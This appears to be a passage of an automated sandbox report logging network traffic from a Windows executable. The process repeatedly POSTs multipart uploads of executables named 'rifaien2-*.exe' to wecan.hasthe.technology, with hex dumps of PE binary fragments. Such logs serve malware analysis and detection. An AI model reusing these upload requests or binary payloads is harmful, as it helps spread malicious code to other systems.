Oct 10, 2024 21:02:58.565308094 CEST	7416	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:58.565308094 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:58.570302963 CEST	4944	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:02:58.570385933 CEST	4944	OUT	Data Raw: 83 0a 01 51 84 2c 5c 8b 03 83 3c 30 00 75 8c bf 29 e0 52 89 f3 a5 08 50 50 6a 00 8b 02 11 18 0e a2 9e 55 08 8b c0 16 12 3b f7 3f 4f 83 eb 04 83 ff ff 75 d7 37 5a ff 33 c6 30 cb c5 60 3a 4f 7c 26 8a ff 60 16 eb 1d 47 3b 7d 0c 0f 8c 2c c5 b8 09 13 Data Ascii: Q,\<0u)RPPjU;?Ou7Z30`:O\|&`G;},@-J.}}KtEAta*jD+}V<u0^5MIQ1!Uti~}hukuVEQBP]PPPh#jR< Ht;Er=jvhG
Oct 10, 2024 21:02:58.570683956 CEST	7416	OUT	Data Raw: fb 89 75 80 80 b8 c5 75 3d 8b 80 e2 e0 5a 08 39 bc a2 72 83 9b d5 db 92 ff b1 46 5e 58 0a 0f 99 fa 6c 89 83 2e 0f 84 4b c5 0e 75 0d 74 84 a8 80 f4 c7 46 58 00 b3 a2 1e c1 c7 46 e0 e0 00 e2 ff ef c7 46 2c f2 f6 40 3c 07 74 13 8b 4d 9c 80 b9 44 67 Data Ascii: uu=Z9rF^Xl.KutFXFF,@<tMDg6tET~IuDE}9\u4s}t'wr&rt#L 9t$]X@gPjuu:#pII~utttl
Oct 10, 2024 21:02:58.570683956 CEST	14832	OUT	Data Raw: 2e 5e 2f 68 39 19 01 00 0e 98 5e 0f 84 76 ba 2f 06 bf c6 47 10 01 c7 47 77 47 8e 41 3e 98 03 06 e6 27 41 77 72 ca 7e 03 5c 47 aa 4d 03 56 56 68 44 2b 2f ac e3 bb 14 57 03 6f 4b 2b 0f 84 1f 23 73 00 42 ce 84 85 e0 aa 1e b9 d8 ae 6a 4f 15 74 63 10 Data Ascii: .^/h9^v/GGwGA>'Awr~\GMVVhD+/WoK+#sBjOtcO;PT$\DMsq`cRSHhA cu\|lN`tjE1\(p?Q@?g4S6S7gIgC1[Gi^H,du3r#tZ
Oct 10, 2024 21:02:58.876279116 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:58 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:58 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qqlsW9Ey7fdhfMB%2FcjVYRhcgWpt9LEYyO3hbhc6ps%2Ble3NFyM2aSb4cQTbzE%2BBakXlV3UvzMTMK3hvnRdni5PxF2OldQT2ww76Xip9NVPjgNttorahGnxexGAePb7GztmQUdLIVyd1yqRg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de26eed94357-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50645	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:59.094258070 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------2f04685edf1750ac
Oct 10, 2024 21:02:59.542583942 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:59.552370071 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 66 30 34 36 38 35 65 64 66 31 37 35 30 61 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------2f04685edf1750acContent-Disposition: form-data; name="file[]"; filename="rifaien2-WBUGMs1oWatC1b9R.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:59.552659988 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:59.557775021 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:59.557799101 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:59.557826996 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:59.557885885 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:59.557915926 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:59.557939053 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:59.557974100 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:59.558083057 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:00.015492916 CEST	809	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:59 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:59 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=17LCfTW3tWNmo4PXfqhZrKGfHqVjOZuoPraBeFjn9gOejmBkdov6iamU3kmikLrTL8UkQLSBFMtIVf7fzEGXUmtTkAW3wRLpBgXXGNqZhpTBsWfrKrg2wEDnTr1bCzzW0De%2FfWHYljkuDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de2dff94421b-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50651	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:00.385127068 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------c722134d6ced8385
Oct 10, 2024 21:03:00.848736048 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:00.849438906 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 37 32 32 31 33 34 64 36 63 65 64 38 33 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------c722134d6ced8385Content-Disposition: form-data; name="file[]"; filename="rifaien2-Iz6XhHUHigVtubDW.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:00.849739075 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:00.855523109 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:00.855561972 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:03:00.855562925 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:00.855593920 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:03:00.855705023 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:03:00.855731964 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:03:00.855762005 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:03:00.855787039 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:01.168755054 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:03:01 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:03:01 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UeFm0yJI1XD9MoobF%2Fl5WknzyjoOSooP5txlkDhXrAms3m%2Bojq%2BOQqlSgKiMAF9P4U0VzHnLwUiUc9ZBbUc01FAuZIJvogjZctLLUaYC8kgkrAwF6wzIK45XdZQNr4iTYi7WH6x2aiiODw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08de361e55728d-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50658	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:03:01.382015944 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------3770501155b39116
Oct 10, 2024 21:03:02.103885889 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:02.103967905 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:03:02.105045080 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 33 37 37 30 35 30 31 31 35 35 62 33 39 31 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------3770501155b39116Content-Disposition: form-data; name="file[]"; filename="rifaien2-ohgyDPAuvT69bY1P.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:03:02.105199099 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:03:02.110374928 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:03:02.110634089 CEST	12360	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:03:02.110829115 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:03:02.110869884 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:03:02.115356922 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:03:02.115425110 CEST	2472	OUT	Data Raw: 85 6a fd 7f f8 f0 8b 95 e0 8a 8d d2 29 c3 29 c2 84 c9 74 20 83 bd 63 7f ec ff ab 08 75 17 85 d2 7f 17 8b 26 4b c6 00 30 48 89 0a eb f6 bf 3b fa 1f 85 d2 7e 1b 5b 11 8b b5 41 48 c6 06 30 4e 89 0a 0d 41 b3 3f 85 c0 7f eb 29 d3 3e 69 20 00 0e 7f f7 Data Ascii: j))t cu&K0H;~[AH0NA?)>i wt\GtKS%(6e%"XhKgN(Pj-'BRR+Ft PYd(Rw`0(n=?#LAtTX3s`x7V1IF%=[vuVn6
Oct 10, 2024 21:03:02.115467072 CEST	2472	OUT	Data Raw: 83 0a 01 51 84 2c 5c 8b 03 83 3c 30 00 75 8c bf 29 e0 52 89 f3 a5 08 50 50 6a 00 8b 02 11 18 0e a2 9e 55 08 8b c0 16 12 3b f7 3f 4f 83 eb 04 83 ff ff 75 d7 37 5a ff 33 c6 30 cb c5 60 3a 4f 7c 26 8a ff 60 16 eb 1d 47 3b 7d 0c 0f 8c 2c c5 b8 09 13 Data Ascii: Q,\<0u)RPPjU;?Ou7Z30`:O\|&`G;},@-J.}}KtEAta*jD+}V<u0^5MIQ1!Uti~}hukuVEQBP]PPPh#jR< Ht;Er=jvhG
